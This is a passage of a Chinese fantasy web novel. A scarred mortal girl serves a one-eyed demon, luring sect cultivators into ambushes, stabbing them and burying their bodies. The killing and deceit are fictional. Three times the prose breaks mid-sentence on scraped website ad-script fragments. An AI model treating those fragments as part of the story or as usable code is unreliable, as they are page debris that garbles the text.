作为凡人的陶蓉,受到了另一种羞辱。 “小师妹说了,这狐妖豢养的人奴妖气太重,虽然没有任何妖力,但我瞧着应该也和狐妖学了魅.惑人的手段,日后怕是也会为非作歹,不如现在断了干净。” “师兄,我们不能妄杀凡人,这有损功德。”一年纪较小的弟子试图阻拦。 “是了。”刘腾的剑却对准了凡人少女艳丽的脸颊。 最后,他满意一笑,和其余仙门弟子御剑离去。 陶蓉黑眸凉薄,等到天空几抹流云全部消失在眼前后,她才慢慢裂开唇角。 她抚上那张姣好秀气的面容,满脸都是灵剑划出的血痕。 这张脸,毁容了。 天空渐渐落雨,烧到她脚边的火灭了。 少女仰头,黝黑眸子望着乌云密布的天,愈发黑亮。 何为仙?何为邪? 善与恶之间,并非泾渭分明,界限清晰。 她眼中的世界,唯有弱肉强食而已。 少女攥紧狐尾,眼中隐隐蔓延几分癫狂嘲讽。 心口那处,贴着她从假道士身上摸出的鳞片。 是薛丑的护心鳞。 而今,鳞片嵌入心口的血肉,如织起的蚕茧,一点点缝补她破败的身躯。 身体回暖,有了人的体温。 而陶蓉,却不屈于再当个可以任人践踏的凡人! 14. 机遇 天空骤暗,乌云如墨,暴雨已至。 街市上冷冷清清,一个卖伞的摊贩慌忙间瞧见雨地里一动不动的人,迟疑两下,丢了一把卖不出去的破伞过去。 雨水,将血污全部冲了个干净。 少女披头散发,衣衫褴褛,一张遍布剑痕的脸,失了血色。 她没有注意滚落在脚边的伞,只是躺在街边,安之若素等待雨停。 护心鳞已与她的身体血脉交融,奇异之术不遗余力蕴养着她的心脏。任她伤势再严重,都死不了。 逃离了薛府,躺大街上不算什么。 和薛丑一样,只要她独自撑过一段时间,也能把伤养好。 可偏偏眼前出现一双黑靴,一人蹲下身来,用短竹敲了敲她的脸。 “什么玩意?死了?” 她听见陌生少年吊儿郎当的声音。 ''尸体''微动,陶蓉空洞冷寂的眸子上移,从长发缝隙中瞭他一眼。 对上罩了一只眼的独眼男。 “没死?” 少年一惊,竹棍又捅向陶蓉的肩膀,故意戳进她的伤口里,将她翻转个边。 ''尸体''转过头,露出大部分脸来。 面容可憎,丑陋不堪。 “哕——” 独眼少年脸都皱了,把手缩回,“啧啧啧,还以为能碰到个落难的天仙,结果是个丑八怪。” “喂,你听得到我说话吗?” 陶蓉心里无喜无悲,她从薛府爬出来,就已耗尽了体力。 没力气动弹,只能冷冷盯着眼前这个多管闲事的男人。 倏地,少年眼露精光,伸手拽走了陶蓉腰上的布袋。 金玉相撞,少年倒出胀鼓鼓的布袋子,倒出不少银两,还掺着簪子金戒玉镯。 “哇,你挺有钱的啊。” 行将木就、毫无波澜的少女目光变了。 那钱她出薛府特意从好几个死尸身上扒下的。 出了薛府,她无依无靠,就想着用这些东西生存。 “还……还我。” 少年把从老管家手指上扒下来的金戒指穿进自个指头里,勾着玉镯,脸色得意。 “你是结巴?” 陶蓉虚弱抬眼,眸光冷郁,紧盯着偷来的全部身家,一只磨破五指堪堪去抓。 “钱……请还给我。” 少年笑的更猖狂,像是逗猫,将布袋子举高:“就不。” 少女垂下了手,目光归于死寂。 “你这尾巴,是怎么来的?” 可独眼明显又盯上了她腰间挂着濡湿的狐狸尾巴。 ‘啧’了一声,他狐疑:“这尾巴……好像有点眼熟。” 见她无动于衷阖眼,锦雏极不乐意,下手带了劲力,对她伤势未愈的心窝下手。 宛如砧板上的鱼肉,沉重的脑子闪过很多情形,忍了又忍。 可心口那处有块坚硬的鳞片,独眼少年看着就是一个纨绔,实际却很是敏锐。 他察觉有所异样,接二连三粗鲁戳她的胸口,“你这里有什么?” 雨水砸脸,少女面色苍白如纸,后背都泡在水里。 她照旧没有什么反应。 只是羽睫微微动了动,陡然睁了眼,秀唇吐出一个哑音。 “贱.男人……滚。” 披着蓑衣的少年动作一僵。 第一次被这么骂,倒是新奇。 他尴尬缩手,也不气恼,将玉镯和银两都收起来,窃笑道:“看在这些钱袋的份上,你求我,等你死了,给你裹个草席,死得体面点。” “你还有别的好东西么?若是给了我,我日后也可以再给你多烧一炷香。” 陶蓉好久没遇到比她还不要脸之人。 毕竟这钱是死人身上的,没了就没了,他拿了钱袋,应该滚蛋才是。 非非他死蹲在她面前,絮絮叨叨,听着烦心。 陶蓉气弱,重新闭上眼。 “喂,我问你话呢。” 她心里骂了一句“晦气”,没撑住,昏了过去。 * 在陌生的后院养了几日伤,她发过了一场热病,期间惊醒了两次,打量屋内布局,试图下地,最后无功而返,又老实躺回了床榻。 屋内萦绕着一股苦药味,床头柜上也摆放着药碗,她舔了舔微微苦涩的唇,猜测她应是被谁带回家了。 身上脏污淋湿的衣服没被换,狐尾也在,打节扣的腰带也没有被动过。 盯着床头剩余的残渣草药碗,陶蓉略略舒了一口气。捡她回去的很有可能是个男人,不知晓是真的好心,还是图谋什么。 第三次醒来,陶蓉已然可以扶墙走路。 房门没有落锁,她推开门,环顾四周,诺大的院子,竟空无一人。 院子内环境不太好,遍地都是未打扫的树木落叶,院角堆积没有劈的木柴,竹竿上乱七八糟晾晒了一堆男子衣物。 这屋子主人,有点不修边幅。 陶蓉目光在衣物上顿了一眼,脚步很轻,往后院小门走。 谁料手刚碰到门栓,脚边窜出一只大老鼠。 “吱吱吱” 陶蓉倒是平静,后退一步,眼见老鼠窜进了墙角,躲了起来。 她的手刚要抽开门栓,身后响起一道少年脆声。 “喂,多亏我救了你,你还没有报答我呢。” 她转过身,看到了拿走她钱袋的恶劣少年。 少年照旧独眼,另一只眼黑白分明,瞳孔圆而宽,一张瓜子脸,面容有几分像女子的清秀尖瘦。 身材清瘦,两腿修长,晃悠走两步衣摆便随性拂动一二,没有什么英气可言,还有几分娉婷作态。 自从看清假道士是狐妖所变之后,陶蓉再看旁人,异常警觉,多了狐疑在。 就说眼前这雌雄莫辨的独眼少年,不知是心理因素作祟,她瞧着,他好像也有几分邪气。 “盯着我做甚?怕不是救命之恩,想对我以身相许?” 少年闲庭信步,手戴着从她手中顺走的金戒指和玉镯子,勾着一个酒葫芦走来,眼神有几分轻慢,像是打量一件货物,撇着眉头朝她摇头。 “我劝你不要癞蛤蟆吃天鹅肉,我可瞧不上你,你就当我的仆人来偿还救命之恩吧。” 陶蓉像是听了什么冷笑话,眼中的阴霾险些要溢出来。 她死不了,躺大街上压根没想要谁救,就算被抬回来,也不会感谢谁。 狗屁救命之恩,当她还是从前那个被狐妖''挟恩图报''哄骗的傻丫头么? 直接无视,少女开了门,抬脚就走。 “喂,你去哪?我让你走了吗?” 一道隐形结界阻挡了她的去路,甚至将她向后反弹开来。 后颈蓦然被一只手掼住,猛地摁在木门上。 “你这丑八怪怎么回事?我好心救了你一命,日日还给你喂药,你为什么连个道谢都没有?你们凡人不是说什么''滴水之恩,当涌泉以报''吗?” “我是凡人,那你是什么东西?” 抡在门上的少女一张满是伤疤的脸皮都贴在了门上,她后颈的皮肤尚且细嫩,一双无神的黑瞳侧目回转,语气凛冽,没有半点他想象中的感激涕零。 这丑八怪看起来年纪挺小,也就是十六七岁,脸庞的疤痕实在太多,不忍直视。 被捏在手里,还敢如此语气和他说话,怪不得被伤成这样。 锦雏错开眼,肉眼可见有几分嫌弃:“我是仙人,有好生之德救你一命,当然不是凡人。” 他这句话说得冠冕堂皇,周围的结界也微微闪出亮光,他没有遮掩自己的术法,抬手,指尖开出小朵野雏花来。 挑眉,他桀骜望着少女的反应。 却见她眼眶一红,像是受了什么刺激,突然发狠,''断子绝孙''后脚跟直往他下身猛踹,吓得他松了力气,立即格挡。 陶蓉觉得自己上辈子踩到了狗屎,这辈子刚从假扮狐妖的道士手中逃脱,又碰上一个扮作仙人的玩意。 这独眼少年从头到脚很邪门,像是志异读本里的妖,别说没有半分仙气可言,说什么‘你们这些凡人’,像是刚学会做人,伪装都不擅长。 和狐妖一样,用这种假话诓骗她就罢了,还想将她困在这个院子里么? 倒霉的时候,妖都专门逮着她欺。 她恨那些自恃悲悯的仙人,更恨这种以戏弄凡人为乐趣的妖怪。 结界瞧着薄薄一层,陶蓉紧咬牙关,用肩膀撞上去,不消两下,结界竟真的碎了。 她拔腿就跑,不敢回头,奔向熙熙 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 攘攘热闹的街市。 大汗淋漓,周围的百姓都用异样的眼光盯着她,躲躲闪闪,不甚撞上一个衣着光鲜的女子,对方惊叫了一声。 “鬼啊!” 陶蓉同样一惊,反应过来是说自己后,遮住疤痕斑驳的脸,穿过人群,又茫然停下脚步。 身无分文,饥肠辘辘,从头到脚,只有腰上一物断尾还可入眼。 她自嘲一笑,钝钝回头,呼吸凝滞。 街市对面,那个独眼男妖已然立在对面,掠过凡人身影,一瞬不瞬冷笑盯着她。 那视线,和以往那些目光一样,俨然是在看一个不自量力的小蝼蚁。 旁人都没有注意到那个独眼男妖,反而只观着她。 街上的行人对她退避三舍,无不悚然,甚至还听见有人交头接耳,说要不要报官,把她这种怪人抓起来。 陶蓉这幅模样,现已经融入不了人群。 指尖又开始刺痛,血肉磨烂,那是她千辛万苦拼尽全力从大火里爬出来落下的伤。 这一路来,她无法按照常人期许的成为一个从善之人。反而心里生长出了厌世嫉俗的种子。 她渴望变强,想要报仇,难如登天。 少女没再逃跑,微微抬眼,雨后初霁,淡金色的日光穿透阴雾,如此和煦美妙,她的眼中却仍是一片灰白。 她没有家,没有亲友,一无所有,唯命而已,跑又跑去哪儿? 少女止了步,转头对上独眼男妖的目光,原路返回。 * 仙门第一大宗,清云宗。 云微掌门爱徒受了重伤的消息暂被压下。 大乘修为的女掌门拍碎了静室的茶桌,凭空亮出一道玉简,随着她的意念而行,玉简闪出几行金字,一道玉简化为数十道同样讯息,传入其余仙家门派。 很快,就连仙家不甚起眼的小门派,都收到来自第一仙门的信物。 “掌门,这玉简说什么?” 资源匮乏常被冷眼相待的阴阳宗,坐镇长老最高修为只有金丹期,一长老眼看着玉简消失,却不见信息,只能望着掌门干着急。 小掌门抚须:“云微掌门的意思是,要联合众仙门之力,派精英弟子去往人间协力诛尽所有妖邪,但凡剖一妖丹者,就算不是清云宗弟子,亦可第一仙门换取灵石。” 清云宗''财大气粗'',有最大灵脉支持,灵石取之不竭,这倒不足为奇。 不过这讯息来的太过突然,这些年魔族进犯妖界,不少妖族逃往人界躲难,妖界危如累卵,不堪一击,若真除尽了妖族,那些其心不正的魔族,便益发猖狂了。 “掌门,为恶的邪魔呢?” 阴阳宗掌门撇眉:“那位只字未提,我们也不要做多余的事情,你安排下去吧,日后起,门下弟子历练以猎妖为主。” 像他们这种仰人鼻息的小门派,早以第一仙门马首是瞻了。 入秋,是众仙门弟子前往人间伏杀妖邪的好时候。 潜藏在人世的妖邪众多,弟子的宝器但凡测到妖气,绝不手下留情。 三月已过,人间成了妖族的灾难地,一批批猎妖出众的弟子愈发多,尤其是那些寒门出身缺乏助力的弟子,提升修炼最好的来源成了猎妖剖丹换取来的灵石。 而小门派阴阳宗一波弟子,也有了收获,于某个偏远郊区,逮住了一只漏了尾巴的蛇妖。 刚化形不久,有五十年的道行,弟子们齐力斩断了蛇尾,蛇妖只能向城镇逃窜。 “莫急,城内说不定还有这妖的同伙,我们先做准备,不要贸然出手。” 一个筑基初期的弟子拦住了余下人,他是阴阳宗真人,此番带领十名炼气期弟子下山除妖,一为长老之令,二来也是为了灵石。 队伍有好几人被蛇妖所伤,在郊外休养半日,正欲要入城,便见城门外树下坐着一个戴着面具的黑衣少年。 少年身量高挑,腰身纤细,别着一把普通短刃,远远瞧着像凡人,周身却挟带一抹诡谲难辨气息,眨眼间,黑衣少年已闪至面前。 众人一惊,筑基真人率先拔剑,少年却是恭恭敬敬鞠躬行了一礼,瓠制面具下一双杏仁眼漆亮明丽,一开口才知是少女,嗓音清软,若珠玉落盘。 “各位仙家,可是欲要进城除妖?小女愿为引路。” 15. 走狗 “你特意守在城外等我们?你一个凡人,怎能分辨出妖邪所在?” 筑基真人心下疑窦,不着痕迹用灵力探向黑衣少女。灵力游走全身,黑衣少女亭亭立在一侧,岿然不动。 少女呈上一条狐尾。 “听闻各位上仙协力下山诛妖,小女有所耳闻,所以每日在城外等候,想等到路过的仙人,各位仙家,请看!” 筑基真人稳重接过狐尾:“这是…狐妖的断尾。” “是的,半年前,小女全家被狐妖所杀,幸得一位上仙路过施以援手,一剑诛杀狐妖。这就是被那位上仙斩断的妖尾,小女侥幸逃过一劫,这半年却始终难忘仙家恩情,不久前,城中有人无故失踪,小女经过一处院子,偷见了一窝妖怪密谋害人之事……” 黑衣少女倏地哽咽:“小女不敢打草惊蛇,终于等到各位仙家,那群妖怪潜藏的老窝就在城内西街的巷角……” 筑基真人抚过断尾处,蕴含剑意的灵剑与普通灵剑可不同,落在的伤口很难愈合不说,剑修的剑气也会侵入血肉之中。 就如这断尾,略一探查,也能探出几分浩然剑气。 的确是仙门剑修灵剑斩断的。 带队的真人敛着眉,“你既拜见本座,为何还要藏头露面,不敢以真面目示人?” “上仙息怒……那狐妖甚是恶毒,残害小女一家性命之后,又毁了小女子容貌。” 话音刚落,脸上的瓠制面具已被少女摘下,映入众人眼帘的,是一张面目全非的脸容,和一双含泪的水眸。 真人一噎,沉吟一声:“那些妖物藏在哪儿?你带路吧。” 少女拭泪,卑微点头,重新戴上面具,起身带路。 “各位上仙,小女初次在前方院子瞧见了那些妖怪,昨日还瞧见那院子有人出入,小女子怕被发现,不敢靠得太近,所以只能送到此处了。” 少女止步,她指向的院落,的确有淡淡妖气,一些低阶妖怪藏在其中。 这凡人少女所言不虚。 低阶妖怪的修为徘徊在仙门弟子的练气期,封顶也就是筑基初期的妖力。 中阶以上的妖邪真人不敢一试,但低阶妖怪,以他筑基初期的修为,带领一众练气弟子对付绰绰有余。 伏击藏在院子里几个低阶妖物,也不成问题。 “真人,我们在城外重伤的蛇妖,应该也逃到了这里。” 有探妖的弟子拿出罗盘,另一只手上还握着小半截青色蛇尾,那是几名弟子再受伤后砍的。 妖物受了伤后,养伤速度比修仙者都更为迅速,事不迟疑,下手要快! “吾辈修士,肩扛正道,斩邪扶正,义不容辞!”真人低喝。 十余人修仙弟子冲入院子,踹开门后便对上了一只小妖,小妖是个精怪,非妖界逃窜来的,更像是山野刚修为人形的野山参。 懵懵懂懂,头顶挂着一根野山须,有些茫然对上一种持剑弟子后,刚想躲起来,没想到便被一剑捅.穿。 “啊——”山参精怪瞪大眼睛,发出一声惨叫。 剑下的妖死得太过顺利,筑基真人眼底闪过一缕诧异,便见身后屋门紧闭。 眼前无端浮现青色迷雾,浅淡妖气加重,潜藏在暗处的蛇妖释放出大团妖毒。 “埋伏,快撤!” 十余名弟子皆入院内,吸入妖毒后,再想撤,已然来不及了。 以多欺少板上钉钉的局面倒转,仙门弟子中了计,院内两只狡诈小妖,便可应战。 青色迷雾中有一独眼少年游走其中,在所有仙门弟子压制蛇毒之际,锦雏眨眼间便拍碎了仙门人的天灵盖,一击击杀,狠辣利落。 另外半条断尾的蛇妖直接化为原形,碧青色蛇身游走院中,悄然缠住筑基修士,试图绞杀。 这院内,剩下两只妖,一个断尾的蛇妖,还有一个瞧不出什么妖族的独眼少年。 真人执剑,锋利的剑刃刺伤蛇身,他连连后退,在众弟子的哀鸣声中,及时用丹药压制了妖毒,稳住心神。 还有什么不明白的,那个黑衣少女和这两个妖邪是一伙的!从接近城郊便要诱他们入此! 其余弟子不战而败,眨眼间皆已死绝,筑基真人后悔万分,严防死守,躲过前方两妖邪的攻击,回身欲冲破毒雾逃回宗门增援雪恨。 谁知再即将御剑转身时,一把短刃从身后插.入后心,修士身形凝滞,转过身,对上一张面具脸。 少女不久前那双含泪怯懦的眼,变得如死水一般沉寂,少女抽出了插在后心的短刃,鲜血飞溅,她眼皮都掀动,波澜不惊。 一只五指抓来,在修士难以置信血红目光下,锦雏击碎了筑基修士的天灵盖。 人死如灯灭,元婴大能以下的修士,亦是如此。 “小丑八怪,你倒是厉害。” 妖雾散去,清幽的院子归于宁静。 独眼少年收回手,懒洋洋坐回石凳,撑着下颌,不明意味去看自觉开始处理修士尸体的少女。 那少女,便是陶蓉。 三个月时间过去,她依旧是凡人,却配合着他们两个妖族,在短暂的数十日,手刃近乎十条修士的性命。 杀人如宰鸡,不容小觑。 “都是主人教得好。” 少女迅速清理所有仙门弟子身上象征身份的玉牌、器物……面无表情扒下所有死尸的弟子袍服。 随后将所有物品装入独眼少年给她的妖芥中,递交给锦雏后,又拿刀划烂死者面容,撒上隐去血气的药粉,用麻布袋逐一套上,堆在角落,等待入夜掩埋。 与此同时,那个断尾的蛇妖也化为人形,出现后踹了陶蓉一脚。 “我的尾巴呢?”狭长眸子的惨绿少年,捂住流出血迹的短臂。 今日出面诱敌的是蛇妖和山林中刚抓来的野山参精。 蛇妖有意被修士斩断尾巴,手臂便是他尾巴的幻肢。 若要接回残臂,被杀的野山参精怪身体可以补用,蛇妖自己也需要浪费不少妖力。 陶蓉低眉顺眼递上野山参和一截冰凉残尾:“小瑟大人。” “——啪” 一声清脆的巴掌声响起,蛇妖少年阴狠地打落了少女的面具。 “你竟然觊觎我的东西?”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>“小人知错。”陶蓉脸偏向一旁,沉默受了打。 蛇妖小瑟厌恶地剜向眼前这个丑恶凡人,一把抢夺过他的尾巴和野山参,往屋内走去。 少女捡起面具,戴好后重新端来水盆,跪在地上擦拭一地的血水。 “小丑八怪,你过来。” 陶蓉攥紧抹布,看向独眼少年。 “你疼不疼啊?”锦雏抬手,石桌上现出一盘花生米,他悠哉悠哉捻了一粒丢进嘴里,翘嘴看她。 三个月前,他救了这丑八怪少女后,谁料失手让她逃了出去。 他跟着这白眼狼出门,心想她若是逃回家,就一起杀了。 谁知这凡人停在街上,怔怔回头,万念俱灰。 最后又折返回来,''诚心诚意''跪在他脚下,道要誓死追随他。 很可笑,他又不是看不出来,这丑八怪是无家可归,才选择回来。 “你有仇人?” “是。” “仇家是谁?” 少女抬头,眉眼尽是冰冷:“仙门人。我知道,你是妖。” 她知道他是妖,所以才折返回来,并非是真因为什么救命之恩。 少女容貌碍眼,但锦雏觉得这丑八怪有点胆色和小聪明,很有意思。 截止至今日,洗衣打扫她能做,杀人的事她也做得了,会演戏,心肠够毒,就如现在,就算被蛇妖时不时欺压打骂,她也能忍。 锦雏是爱才之人,他有很多种让人族入妖道的法子。就如现在,他只要喂一颗妖丹给这少女,她就可以永远当他的小仆人。 想想就怪美好,他有些按耐不住,只是目前仙门对妖族赶尽杀绝,他妖力低微,也就是一个逃命的小妖,若要躲避和抵抗修士,还要靠着这个小丑八怪用凡人的身份助力。 “你今日也辛苦了,待会我翻一翻各大修士的芥子袋,若是找到养颜丹,就赏你了,若是没有,日后主人再给你寻来。” 养颜丹,是仙门炼制的一钟灵药,极其珍贵。对于那些脸部有瑕疵或有疤痕的男修或女修,用了此丹,不仅能恢复原样,还能改容。 锦雏嬉皮笑脸,“只要你好好跟着我,别说养颜丹,日后待主人发达,天材地宝我都给得起。” 戴着面具的黑衣少女垂眼,心里冷笑。 她根本不在乎什么容貌不容貌。 她现在就是渴求变强,在妖怪身边打杂,偷学本事。 跟随了三个月,独眼男锦雏比屋内的蛇妖小瑟还要伪善阴险。 蛇妖修为不高,忌惮独眼男,妥妥毒蛇,时不时教训她一顿,但也止于表面。 她名义上的“主人”锦雏倒好,和那个狐妖如出一辙地虚伪,冷眼旁观,还要各种给她画饼。 “是”少女应了声,不露声色瞥了一眼独眼少年腰上的妖芥。 那里面,盛放了大量的宝器物件,仙门的玉牌、灵剑、古籍,还有妖物的妖丹都有。 真肥啊。 独眼少年锦雏不亚于一块肥肉。 在眼前,想吃,却还要忍着。 少女心里冷冷一笑,动了各种心思。 16. 预警 城外三里地的破城隍庙多了一个流浪的女人。 疯言疯语,横冲直撞跑过来,抢走了陶蓉脚边的锄头,傻癫癫跑了。 大半夜,疯女人出现的很是悄然,掩埋尸体的黑衣少女一时不察,有些怔愣,手上的男尸滚入深坑里,身后更是躺着好几具尸体。 她缄默回头,去看那个疯女人。 四周寂静,那个疯女人扛着锄头,撒欢似的往前跑,只隐隐看见一个模糊的背影,如鬼魅似的,发出嘻嘻嘻的声音,恐怖悚然。 少女抽出刀,跟了上去。 疯子躲进了庙宇,抱着埋尸的锄头,嗓音温柔,含着“宝儿”。 暗夜的天边劈下一道闪电,狂风大作,却是雷声大,屁点雨都没下。 在疯女人吓得尖叫之际,少女鞋靴踩上破庙内乱糟糟的稻草,藏在腰后的短刃闪过锋芒。 疯女人丢了锄头,靠在肮脏的墙角,不断在喊“别过来!” 惹到深夜埋尸的陶蓉,今夜,就算这个流□□是疯子,也该死。 面具少女冷心冷眼抬手,刀尖对准疯女人的头颅,想开给她致命一击,谁知视线一顿。 疯女人骨瘦如柴,只是肚腹凸起,像是有孕之身。 “……” 路上的叫花子常见,流□□人少见。 小时候,她那小疙瘩村也路过一个讨饭的女人,神智还算清醒,路过每户院子,会咿咿呀呀唱着歌,低三下四求一点吃的,陶蓉两个弟弟觉得有趣,拿棍子去追着她驱赶。 第二日,那女人的尸体浮在河面上,村人说,她被村尾的男瘸子盯上,凌.辱后逼死了。 脸孔隐在面具下的少女收回手,升起的杀意尽数退散,提着锄头,无趣离去。 三更天,少女气喘吁吁,最后一趟来回,总算在天亮前将所有尸体埋到一座无人的后山。 那疯女人不知何时,又从破庙跑出来,站到远远的山坡上,偷偷瞧她。 少女冷淡瞥她一眼,踩实了脚下的土堆,心里却在想,过两个时辰再回来检查一遍,如果这女人翻动了埋尸的土,那她这次至少要剁掉疯女人的手。 黑衣少女推着车,顺着另一条小路,身影隐没在暗青色的尽头。 “你这么早啊。” 天微亮,独眼少年打着哈欠起床,穿着薄薄单衣,姿态懒散的靠在门上,漫不经心看着她。 陶蓉一夜未睡,此时打了井水在洗昨夜这两个死妖男换下的衣服,包括自己一身汗水和混着土腥味的脏衣。 低头应了一声,手下动作未变,却听独眼男悠闲自在地问她,“小怪物,忙了一夜累不累?” 给妖卖命,她没有权利喊累。 洗完衣服,她还需给这独眼做一顿早饭,和在薛府做的活计相同,都是伺候人。 不过,又和以前的丫环身份不一样。 她在这除了粗活,还学会如何落刀、杀人。 “小人不累。” 陶蓉洗好衣服,整齐摊好衣服后,回身端盆去了厨房。 不久后,烟囱冒起袅袅炊烟,空气中弥漫着米粥的清香味。 独眼少年头一歪,嘴角漾起浅浅弧度,他自顾自坐在院子的石桌旁,扫视整洁的院内一眼。单臂置在冰凉的石面,流畅下巴轻抬,静静欣赏着厨房里给他煮早饭的小丑八怪。 捡了这凡人回来后,他不能自理的生活,被安排地妥帖明白。 这种被人服侍的生活,过得还是很惬意的。 只是……独眼少年郁闷地眺望暗沉沉的天幕。 另一只瞎了的眼睛涌现几分刺痛,他这只眼,是几年亲他跟着他的族人逃出妖界时,被魔族所伤。 族人全部毙命,只余他一个刚学会化形的幼妖在人间躲躲藏藏,好不容易养好了伤,结果仙门又派出数队弟子,要对所有妖族斩尽杀绝。 仙魔皆不容他们,四处搜捕他们妖族的足迹,其余好几处潜藏在人间的妖族都已报团取暖,抵御应敌。 而锦雏势单力薄,身边只有一条受伤的蛇妖和一个捡来的小凡人,下一次再遇上修仙弟子,保不齐他就会死。 隐居的这座小院,终究待不长久。锦雏也需要尽快去投靠别的妖群。 “小怪物,你去哪?” 锦雏喝着米粥,吃着爽口的小菜,叫住了正欲出门的少女,“你一夜未睡,现在也没什么活要你干了,不休息么?” 少女转身露出一双只看得见的乌黑杏眼。 “主人,小人要出城一趟。” “何事?可是昨夜埋尸被人发现了?” “没有,只是昨夜不小心掉落了主人上次赏赐的的莲花簪子,小人想去寻回来。” 锦雏低声笑了,摩挲着从少女身上顺来的金戒指:“还以为你不喜欢,去吧。” 少年吝啬,抢来一大堆宝贝,却从不让人多瞧一眼。 那莲花簪是陶蓉第一次杀修仙者,他心情颇好,从众多宝物中,寻了一个入眼的,给了陶蓉。 也就是从那日起,独眼怪不再时时刻刻防备紧盯着陶蓉,把她当作半个自己人,偶尔点拨她两下杀人技巧。 陶蓉躲开百姓视线,脚步轻巧出了城,先是去往偏远荒僻的后山,细致查看一番,埋尸的几处土堆,没有松动的迹象。 她轻舒一口气,意有所动回头,不远处,疯女人果然就躲在草垛后瞧她。 陶蓉微微撩起眼皮,目光凛冽如雪,一手扣住袖口藏着的短刀,不疾不徐走过去。 疯女人情绪稳定的时候,有点怕人,没敢再冒然靠近她,揪着自己乱蓬蓬的脏发,一边后退,一边小心翼翼瞅着她。 陶蓉止步,眼神淡漠,丢下一袋白馍馍,转身便走。 * 茶杯砸地,热茶四溅。 伤势未愈的蛇妖虚弱坐在榻上,眉眼尽是戾气。 “谁让你往水里加茶叶的?你是听不懂人话吗?” 他莫名气恼,手臂一扯,脸色又苍白了几分。 “你不就是个供妖指使的下人吗?伺候锦雏就可以,伺候吾就如此敷衍?” 茶叶,是独眼怪锦雏吩咐她加进去的,而眼前这个名叫“小瑟”的蛇妖,喝不惯人间的茶水。 但凡有点不合他心意的,就像今日这样,都要大发雷霆,阴阳怪气。 蛇妖两月前化形后投靠锦雏,成为锦雏的手下。 他初次学当人,什么也不会,心里厌恶陶蓉,还冷嗤过她背叛人族,对妖族谄媚下贱。 实则这蛇妖换下的衣物,平日的吃食,都要陶蓉清洗准备。现在,陶蓉刚歇下,蛇妖在 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 偏房内打坐养伤,喊她去端茶递水。 这种表里不一,故作冷傲的妖怪,陶蓉打心眼里觉得瞧不上。 明明都不是什么好鸟,偏偏蛇妖还要在她面前装什么清高。 这种玩意,缺乏痛击和教训。 少女眸底沉着阴鸷,眼眶下有些乌青,她没有说话,木然蹲下身,捡起碎裂的瓷片。 瓷片割破了手指,陶蓉烦躁颦眉,快步出门。 过了一会,她又端来一壶热茶。 倒茶,摊凉,递给榻上的妖,少女嗓音不冷不热:“小瑟大人,请用茶。” “嗯。”蛇妖这才一脸勉强地接过,轻抿了一口,眼神犀利,警告意味明显:“下次,不许再记错。” “是。”少女低头,垂下艳红的手指。 * 新的一波修仙者不知什么时候就会来,整日心神不宁后,锦雏下了指令,要尽快离开此地。 “主人,今夜就走吗?小瑟大人的伤还未养好。” 独眼少年眉心微皱,他对危险临近的预感向来准确。 “走。”他面色肃穆,一改散漫,不容置疑。 趁夜赶路,锦雏即使不外泄妖力,仍是疾步如飞。 可他回头,那个时时刻刻都跟在自己身后的小丑八怪,动作慢了下来。 她没跟在他身后,反而望着脚步虚浮行动有些勉强的蛇妖,伸出手想去搀扶。 “……”锦雏眼底闪过轻微诧色,他捡来的这个小仆人,受了蛇妖很多气,能远离就远离,从不主动接近。 现在,戴着面具的少女瞧着显然有些担忧,手背被蛇妖气愤拍打一掌后,却又没脸没皮去搀扶蛇妖,放软的清脆嗓音传了过来。 “小瑟大人,你伤口又该裂开了,慢点吧,容小人扶着你。” 锦雏盯着少女搀扶蛇妖胳膊的手,眼眸暗沉,莫名有些不快。 丑八怪说到底是他一个人的仆人,从前被迫供蛇妖使唤便罢了,他不太习惯现在,他的仆人这样关心别人。 嘴唇翕动,他刚想开口将人喊过来,谁知蛇妖少年面色僵硬,病恹恹的目光瞥向一侧,却没推开陶蓉。 “……” 锦雏收回了视线,若无其事,继续前行。 城外,芦苇荡。 少女不甚踩空了一脚,全身压到虚弱的蛇妖身上,锦雏只听得身后远远一处响动。 他警惕回头,便见芦苇下压着两人。 蛇妖少年暴戾恣睢,目光无人,当初被追杀后投靠他名下,好几次想对陶蓉暗下杀手,都被锦雏拦了下了。 现在倒好,这蛇妖垫在陶蓉身下,呆呆地摊开手,锦雏走过去,便见这男妖面色赧然,模样甚为古怪。 “嘶——” 少女掉落面具,一张伤痕累累的脸明晃晃埋在蛇妖身上,她扭了脚,吃痛低喊了一声,一时半会都没爬起来。 锦雏盯着还紧贴着的二人,眼眸漆黑,抿直了唇线,手腕用了些力道,猛地将少女拉起来。 “在干什么?” 一开口,锦雏才发觉自己语气又急又怪。 少女拐着腿,似是疼痛难忍,轻咬了咬唇。 锦雏压低眉,环视周围连绵不绝的青山,待确定没有修士的气息后,他松了口:“先休息吧。” 17. 蛇妖 “刘师兄,妖气就是从那个方向传来的。” 一行仙门弟子身着白色长袍,质地轻柔,干净无瑕,衣襟处,以细金线绣制的祥云图案点缀其间,穿梭于山林之间。 为首的,是一名衣冠楚楚的修士,正是清云宗内门弟子刘腾。 他修道六十年,如今有筑基后期修为,虽比不过宗门大弟子、小师妹那些天赋极佳的天才,但也算是内门的佼佼者。 在暗夜中,刘腾特意吃了一颗灵丹,眼球炙热,极目远眺,便能借助灵力清晰视物,还能透过加迷雾草林,看出一些不同寻常的影子。 野外有几个鬼影,察觉灵气纯正的仙门修士,早就躲了起来,不足为虑。刘腾一眼定住,半里地外的芦苇荡后,映出三个混沌影子,其中有两人脐下皆有妖丹。 躲在人间的妖怪最近躲得隐蔽,精怪不少,但结了妖丹落单的妖,很少见了。 “先活捉前方的妖,暂时留一口气。” 妖族大多能互相感应妖气,活捉后,大可以从这两只妖口里,逼出其它妖怪所藏地。 勾了勾唇,他加快了御剑的速度。 * “休息的差不多了,继续赶路吧。” “主人,我们到底要投靠哪里的妖群?” 锦雏挑眉,以往陶蓉只会安静服从命令,鲜少问缘由。 少女按住脚踝,重新戴好了面具,声音透露着一丝紧张:“最近…仙门人到处捕杀妖族,若是又遇上了修士,这该怎么办?” 话音刚落,锦雏心下好笑,正想逗她两句,谁知全身一凛,抬手间弹飞一把偷袭他的灵剑。 周围,数柄灵剑划破空气,四面八方对向三人。 “你这个乌鸦嘴!” 